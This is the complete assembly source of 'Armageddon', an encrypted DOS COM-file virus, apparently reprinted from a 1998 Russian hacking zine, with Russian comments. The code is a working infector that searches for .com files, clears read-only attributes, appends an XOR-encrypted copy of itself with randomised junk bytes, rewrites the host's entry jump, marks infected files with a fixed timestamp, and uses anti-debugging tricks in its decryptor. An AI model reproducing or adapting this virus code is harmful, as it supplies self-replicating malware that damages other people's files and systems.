; INFECTED VOICE        ISSUE 98'09      (C)1994-98, by STEALTH group
; online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
;                                        mailto:noxyucT@usa.net

;
; Шифрованный COM вирус "Armageddon" (C)LordDark.  Классический вариант.
;

code   segment   'code'
       assume    cs:code,ds:code,es:code
       org       100h
jertva:
        db      0e9h      ; В оригинале: MOV DX,..;MOV AH,09h;....
        dw      Start-$-2 ; Смещение вира
        db      7,09h
        int     21h
        ret
Message db      'Привет! :)',10,13,'$'
        db      1000 dup (90h)

start:
        call    EntryPoint
len_str equ     $-start
EntryPoint:
        pop     si
        push    es
        push    ds
        push    si
        add     si,offset RobbedBytes-EntryPoint
        mov     di,100h
        movsw
        movsw
        pop     si
        mov     ax,3524h
        int     21h
        mov     word ptr cs:[si+Seg24-entrypoint],es
        mov     word ptr cs:[si+Off24-entrypoint],bx
        lea     dx,[si+Int_24-entrypoint]
        mov     ax,2524h
        int     21h
        ;-
        mov     ah,19h
        int     21h
        cmp     al,2
        jb      exit_
        lea     dx,[si+GoodMessage-EntryPoint]
        mov     ah,9
        int     21h
        lea     dx,[si+buffer-entrypoint]
        mov     ah,1ah
        int     21h
        lea     dx,[si+SechStr-EntryPoint]
        mov     cx,3fh ; Все файлы искать
        mov     ah,4eh
        int     21h
        jc      Exit
NextFile:
        mov     dx,si
        lea     dx,[21+1+8+si+Buffer-EntryPoint]
        call    Attack
        mov     ah,4fh
        int     21h
        jc      Exit_
        jmp     NextFile
Exit_:
        mov     dx,[si+Off24-entrypoint]
        mov     ax,[si+Seg24-entrypoint]
        mov     ds,ax
        mov     ax,2524h
        int     21h
Exit:
        ;       Exit
        ;       jmp 0100h
        pop     es
        pop     ds
        mov     ax,0100h
        push    ax
        lea     bx,[si-len_str]
        mov     cx,offset exit-entrypoint+len_str
        xor     ax,ax
l_del:
        mov     cs:[bx],al
        inc     bx
        loop    l_del
        lea     bx,[si+copy_crypt-entrypoint]
        mov     cx,offset buffer-copy_crypt
l_del_:
        mov     cs:[bx],al
        inc     bx
        loop    l_del_
        ret

copy_crypt:
        push  bx
        in    al,40h
        or    al,al
        mov   ah,al
        mov   byte ptr cs:[si+Crp_key-EntryPoint],ah
        lea   bx,[si-len_str]
        lea   di,[si+buffer-entrypoint+50]
        mov   cx,VL
l_crypt:
        mov   al,cs:[bx]
        xor   al,ah
        mov   cs:[di],al
        inc   bx
        inc   di
        add   ah,5
        loop  l_crypt
        pop   bx
        mov   ah,40h
        mov   cx,len_un_crypt
        lea   dx,[si+Un_Crypt-EntryPoint]
        int   21h
        lea   dx,[si+buffer-EntryPoint+50]
        mov   cx,VL
        mov   ah,40h
        int   21h
        in    al,40h
        mov   cl,al
        xor   ch,ch
        in    al,40h
        xor   cl,al
mut_len:
        in    ax,40h
        mov   dx,ax
        in    ax,40h
        xor   ax,dx
        add   al,ah
        mov   byte ptr cs:[si+mut_byte-EntryPoint],al
        db    0B4h
mut_byte      db  ?
        push  cx
        mov   ah,40h
        mov   cx,1
        lea   dx,[si+mut_byte-entrypoint]
        int   21h
        pop   cx
        loop  mut_len
        ret

Un_crypt: ; Процедура расшифровки
          ; Записовается в начало
        nop
        nop
        push  cs
        pop   ss
        pushf
        pop   ax
        test  ah,01
        je    not_debbug
        jmp   End_Un_Crp
not_debbug:
        pop   si ; Востановим стек
        call  GetAdr
GetAdr:
        pop   si ; Смещение GetAdr
        mov   cx,VL
        lea   bx,[si+End_Un_Crp-GetAdr]
        db    0B4h
Crp_key db    0
l_un_crp:
        mov   al,cs:[bx]
        xor   al,ah
        mov   cs:[bx],al
        call  Pricol
        je    not_debug_
        jmp   End_Un_Crp
not_debug_:
        inc   bx
        add   ah,5
        loop  l_un_crp
        jmp   End_Un_Crp
Pricol:
        push  cx
        mov   cx,800
Pricol_1:
        xor   dx,dx
        loop  Pricol_1
        pop   cx
        ret
End_Un_Crp:
Len_un_crypt  equ   $-Un_Crypt

Attack:  ; Прога зараза
        mov     bx,dx
        mov     ax,word ptr [bx]
        cmp     ax,word ptr WIN
        je      Bad_Attack
        cmp     ax,word ptr COMMAND
        je      Bad_Attack
        mov     ax,4300h ; GetAttr
        int     21h
        test    cl,06h
        jne     He_read_only
        mov     ax,4301h ; SetAttr
        xor     cx,cx
        int     21h
He_read_only:
        mov     ax,3D02h
        int     21h
        jc      Bad_Attack ; Не получилось :-(
        xchg    bx,ax ; ax <- handle
        mov     ah,3fh
        lea     dx,[si+RobbedBytes-entrypoint]
        mov     cx,4
        int     21h
        jc      close
        cmp     byte ptr cs:[si+TestZar-EntryPoint],7
        je      close
        cmp     word ptr cs:[si+RobbedBytes-EntryPoint],'ZM'
        je      close
        cmp     word ptr cs:[si+RobbedBytes-EntryPoint],'MZ'
        je      close
        xor     cx,cx
        mov     ax,4202h
        cwd
        int     21h
        sub     ax,3
        mov     word ptr cs:[si+(FSize-EntryPoint)],ax
        call    copy_crypt
        xor     cx,cx
        mov     ax,4200h
        cwd
        int     21h
        mov     ah,40h
        mov     cx,4
        lea     dx,[si+NewStart-entrypoint]
        int     21h
        ;       поставим дату рождениЯ вира
        mov     dx,9512
        mov     cx,42126
        mov     ax,5701h
        int     21h
close:
        mov     ah,3eh
        int     21h
Bad_Attack:
        ret

RobbedBytes:
;         db       0 ; <- 'ш'
; FSize   dw       0 ; <- Длинна файла минус 3
;         db       0 ; <- #7
          mov      dx,offset Message
TestZar   db       0B4h

NewStart:
          db       0E8h
FSize     dw       0
          db       7

WIN     db       'WI'
COMMAND db       'CO'
Sechstr db       '*.com',0 ; Ишем все комы

GoodMessage       db  ' <<< Armageddon ver. 1.0 >>> ',10,13,'$'

Int_24:
        mov      al,3
        iret
Off24   dw       0
Seg24   dw       0

buffer:

VL                equ  ($-start)

code   ends
       end       jertva